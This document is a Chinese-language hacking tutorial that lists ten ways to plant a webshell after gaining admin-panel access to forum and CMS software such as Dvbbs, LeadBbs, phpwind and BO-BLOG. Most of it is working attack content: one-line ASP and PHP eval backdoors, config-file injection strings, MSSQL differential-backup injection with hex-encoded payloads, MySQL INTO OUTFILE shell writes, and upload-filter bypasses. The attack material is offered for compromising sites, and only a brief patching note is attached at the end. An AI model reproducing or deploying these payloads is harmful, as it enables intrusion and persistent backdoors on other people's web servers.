前 言 


動網上傳漏洞,相信大家拿下不少肉雞吧。可以說是動網讓upfile.asp上傳檔案過濾不嚴的漏洞昭然天下,現在這種漏洞已經基本比較難見到了,不排除一些小網站仍然存在此漏洞。在拿站過程中,我們經常費了九牛兩虎之力拿到管理員帳號和密碼,並順利進入了後臺,雖然此時與拿到網站webshell還有一步之遙,但還是有許多新手因想不出合適的方法而被拒之門外。因此,我們把常用的從後臺得到webshell的方法進行了總結和歸納,大體情況有以下十大方面。


注意:如何進入後臺,不是本文討論範圍,其具體方法就不說了,靠大家去自己發揮。此文參考了前人的多方面的資料和資訊,在此一併表示感謝。


一、直接上傳獲得webshell


這種對php和jsp的一些程式比較常見,MolyX BOARD就是其中一例,直接在心情圖示管理上傳.php型別,雖然沒有提示,其實已經成功了,上傳的文 件url應該是
[url]http://forums/images/smiles/[/url]下,前一陣子的聯眾遊戲站和網易的jsp系統漏洞就可以直接上傳jsp檔案。檔名是原來的檔名,bo-blog後臺可以可以直接上傳.php檔案,上傳的檔案路徑有提示。以及一年前十分流行的upfile.asp漏洞(動網5.0和6.0、早期的許多整站系統),因過濾上傳檔案不嚴,導致使用者可以直接上傳webshell到網站任意可寫目錄中,從而拿到網站的管理員控制許可權。


二、新增修改上傳型別


現在很多的指令碼程式上傳模組不是隻允許上傳合法檔案型別,而大多數的系統是允許新增上傳型別,bbsxp後臺可以新增asa|asP型別,ewebeditor的後臺也可新增asa型別,通過修改後我們可以直接上傳asa字尾的webshell了,還有一種情況是過濾了.asp,可以新增.aspasp的檔案型別來上傳獲得webshell。php系統的後臺,我們可以新增.php.g1f的上傳型別,這是php的一個特性,最後的哪個只要不是已知的檔案型別即可,php會將php.g1f作為.php來正常執行,從而也可成功拿到shell。LeadBbs3.14後臺獲得webshell方法是:在上傳型別中增加asp ,注意,asp後面是有個空格的,然後在前臺上傳ASP馬,當然也要在後面加個空格!


三、利用後臺管理功能寫入webshell


上傳漏洞基本上補的也差不多了,所以我們進入後臺後還可以通過修改相關檔案來寫入webshell。比較的典型的有dvbbs6.0,還有leadbbs2.88等,直接在後臺修改配置檔案,寫入字尾是asp的檔案。而LeadBbs3.14後臺獲得webshell另一方法是:新增一個新的友情連結,在網站名稱處寫上冰狐最小馬即可,最小馬前後要隨便輸入一些字元,http:\網站incIncHtmBoardLink.asp就是我們想要的shell。


四、利用後臺管理向配置檔案寫webshell


利用””””:””//”等符號構造最小馬寫入程式的配置檔案,joekoe論壇,某某同學錄,沸騰展望新聞系統,COCOON Counter統計程式等等,還有很多php程式都可以,COCOON Counter統計程式舉例,在管理郵箱處添上cnhacker at 263 dot net”:eval request(chr (35))//, 在配製檔案中就是webmail=”cnhacker at 263 dot net”:eval request(chr(35))//”,還有一種方法就是寫上 cnhacker at 263 dot net”%><%eval request(chr(35))%><%`,這樣就會形成前後對應,最小馬也就執行了。<%eval request(chr(35))%>可以用lake2的eval傳送端以及最新的2006 客戶端來連,需要說明的是資料庫插馬時候要選前者。再如動易2005,到文章中心管理-頂部選單設定-選單其它特效,插入一句話馬”%><%execute request(“l”)%><%`,保 存頂部欄目選單引數設定成功後,我們就得到馬地址http://網站/admin/rootclass_menu_config.asp。


五、利用後臺資料庫備份及恢復獲得webshell


主要是利用後臺對access資料庫的“備份資料庫”或“恢復資料庫”功能,“備份的資料庫路徑”等變數沒有過濾導致可以把任意檔案字尾改 為asp,從而得到webshell,msssql版的程式就直接應用了access版的程式碼,導致sql版照樣可以利用。還可以備份網站asp檔案為其他字尾 如.txt檔案,從而可以檢視並獲得網頁原始碼,並獲得更多的程式資訊增加獲得webshell的機會。在實際運用中經常會碰到沒有上傳功能的時 候,但是有asp系統在執行,利用此方法來檢視原始碼來獲得其資料庫的位置,為資料庫插馬來創造機會,動網論壇就有一個ip地址的資料庫,在後臺的ip管理中可以插入最小馬然後備份成.asp檔案即可。在談談突破上傳檢測的方法,很多asp程式在即使改了字尾名後也會提示檔案非法,通過在.asp檔案頭加上gif89a修改字尾為gif來騙過asp程式檢測達到上傳的目的,還有一種就是用記事本開啟圖片檔案,隨便貼上一部分複製到asp木馬檔案頭,修改gif字尾後上傳也可以突破檢測,然後備份為.asp檔案,成功得到webshell。


六、利用資料庫壓縮功能


可以將資料的防下載失效從而使插入資料庫的最小馬成功執行,比較典型的就是loveyuki的L-BLOG,在友情新增的url出寫上<%eval request (chr(35))%>, 提交後,在資料庫操作中壓縮資料庫,可以成功壓縮出.asp檔案,用海洋的最小馬的eval客戶端連就得到一個webshell。


七、asp+mssql系統


這裡需要提一點動網mssql版,但是可以直接本地提交來備份的。首先在發帖那上傳一個寫有asp程式碼的假圖片,然後記住其上傳路徑。寫一個本地提交的表單,程式碼如下:


<form action=http://網站/bbs/admin_data.asp?action=RestoreData&act=Restore method=”post”> 


<p>已上傳檔案的位置:<input name=”Dbpath” type=”text” size=”80″></p> 


<p>要複製到的位置:<input name=”backpath” type=”text” size=”80″></p> 


<p><input type=”submit” value=”提交”></p> </form>


另存為.htm本地執行。把假圖片上傳路徑填在“已上傳檔案的位置”那裡,想要備份的WebShell的相對路徑填寫在“要複製到的位置”那裡,提交就得到我們可愛的WebShell了,恢復程式碼和此類似,修改相關地方就可以了。沒有遇到過後臺執行mssql命令比較強大的asp程式後臺,動網的資料庫還原和備份是個擺設,不能執行sql命令備份webshell,只能執行一些簡單的查詢命令。可以利用mssql注入差異備份webshell,一般後臺是顯示了絕對路徑,只要有了注入點基本上就可以差異備份成功。下面是差異備份的主要語句程式碼,利用動網7.0的注入漏洞可以用差異備份一個webshell,可以用利用上面提到的方法,將conn.asp檔案備份成.txt檔案而獲得庫名。


差異備份的主要程式碼:


;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x626273 backup database @a to disk=@s– 


;Drop table [heige];create table [dbo] dot [heige] ([cmd] [image])–


;insert into heige(cmd) values(0x3C2565786563757465207265717565737428226C2229253E)–


;declare at a sysname,@s varchar(4000) select @a=db_name(),@s=0x643A5C7765625C312E617370 backup database @a to disk=@s WITH DIFFERENTIAL,FORMAT–


這段程式碼中,0x626273是要備份的庫名bbs的十六進位制,可以是其他名字比如bbs.bak; 0x3C2565786563757465207265717565737428226C2229253E是<%execute request(“l”)%>的十六進位制,是lp最小馬;0x643A5C7765625C312E617370是d:web1.asp的十六進位制,也就是你要備份的webshell路徑。當然也可以用比較常見備份方式來獲得webshell,唯一的不足就是備份後的檔案過大,如果備份資料庫中有防下載的的資料表,或者有錯誤的asp程式碼,備份出來的webshell就不會成功執行,利用差異備份是成功率比較高的方法,並且極大的減少備份檔案的大小。


八、php+mysql系統


後臺需要有mysql資料查詢功能,我們就可以利用它執行SELECT … INTO OUTFILE查詢輸出php檔案,因為所有的資料是存放在mysql裡的,所以我們可以通過正常手段把我們的webshell程式碼插入mysql在利用SELECT … INTO OUTFILE語句匯出shell。在mysql操作裡輸入select 0x3C3F6576616C28245F504F53545B615D293B3F3E from mysql.user into outfile `路徑’ 就可以獲得了一個<?eval($_POST[a]);?>的最小馬 


0x3C3F6576616C28245F504F53545B615D293B3F3E 是我們<?eval($_POST[a]);?>的十六進位制,這種方法對phpmyadmin比較普遍,先利用phpmyadmin的路徑洩露漏洞,比較典型的 是
[url]http://url/phpmyadmin/libra9xiaoes/select_lang.lib.php[/url]


就可以暴出路徑,php環境中比較容易暴出絕對路徑:)。提一點的是遇到是mysql在win系統下路徑應該這樣寫d:\wwwroot\a.php。下面的方法是比較常用的一個匯出webshell的方法,也可以寫個vbs新增系統管理員的指令碼匯出到啟動資料夾,系統重起後就會新增一個管理員帳號


CREATE TABLE a(cmd text NOT NULL)


INSERT INTO a(cmd) VALUES(`<?fputs(fopen(“./a.php”,”w”),”<?eval($_POST[a]);?>”)?>`)   


select cmd from a into outfile `路徑/b.php`


DROP TABLE IF EXISTS a


訪問b.php就會生成一個<?eval($_POST[a]);?>的最小馬。


如果遇到可以執行php命令就簡單多了,典型的代表是BO-BLOG,在後臺的php命令框輸入以下程式碼:


<?


$sa = fopen(“./up/saiy.php”,”w”);


fw9xiaote($sa,”<?eval($_POST[a]);?”.”>”);


fclose($sa);


?>


就會在up目錄下生成檔名為saiy.php內容為<?eval($_POST[a]);?>的最小php木馬, 


最後用lanker的客戶端來連線。實際運用中要考慮到資料夾是否有寫許可權。或者輸入這樣的程式碼<?fputs(fopen(“./a.php”,”w”),”<?eval($_POST[a]);?>”)?> 將會在當前目錄生成一個a.php的最小馬。


九、phpwind論壇從後臺到webshell的三種方式


方式1 模板法


進入後臺, 風格模版設定 ,在隨便一行寫程式碼,記住,這程式碼必須頂著左邊行寫,程式碼前面不可以有任何字元。 


EOT; 


eval($a); 


p9xiaont <<<EOT 


而後得到一個shell為http://網站/bbs/index.php。 


方始2 髒話過濾法


進入安全管理 ◇ 不良詞語過濾。新增不良詞語寫 a’]=’aa’;eval($_POST[’a’]);//


替換為那裡可以隨意寫,而後得到一個shell地址為http://網站/bbs/data/bbscache/wordsfb.php。 


方式3 使用者等級管理 


新建立會員組,頭銜你可以隨便寫,但是千萬不要寫單雙引號特殊符號,升級圖片號寫a’;eval($_POST[’a’]);// ,升級點數依然可以隨意寫。而後得到一個shell地址為http://網站/bbs/data/bbscache/level.php。


以上三種方式得到webshellr的密碼是a,為lanker的一句話後門服務端。

十、也可以利用網站訪問計數系統記錄來獲得webshell

最明顯的就是某私服程式內的阿江計數程式,可以通過http://網站/stat.asp?style=text&referer= 程式碼內容&screenwidth=1024直接提交, 即可把程式碼內容直接插入到計數系統的資料庫中,而此係統預設資料庫為count#.asa,我們可以通過http://網站/count%23.asa訪問得到webshell,由於阿江計數程式過濾了%和+,將最小馬改成<SCRIPT RUNAT=SERVER LANGUAGE=vbSCRIPT>eval(Request(“1”))</SCRIPT>替換程式碼內容處提交,然後用lake2的eval客戶端來提交,值得一提的是如果進到計數後臺,可以清理某時某刻的資料,一旦插入asp木馬失敗,可以清理資料庫再次操作。

解決方案

由於本文涉及的程式碼版本很多,所以不可能提供一個完美的解決方案。有能力者可以針對本文提到的漏洞檔案進行適當修補,若漏洞檔案不影響系統使用也可刪除此檔案。大家如果不會修補,可以到相關官方網站下載最新補丁進行修復更新。同時也請大家能時刻關注各大安全網路釋出的最新公告,若自己發現相關漏洞也可及時通知官方網站。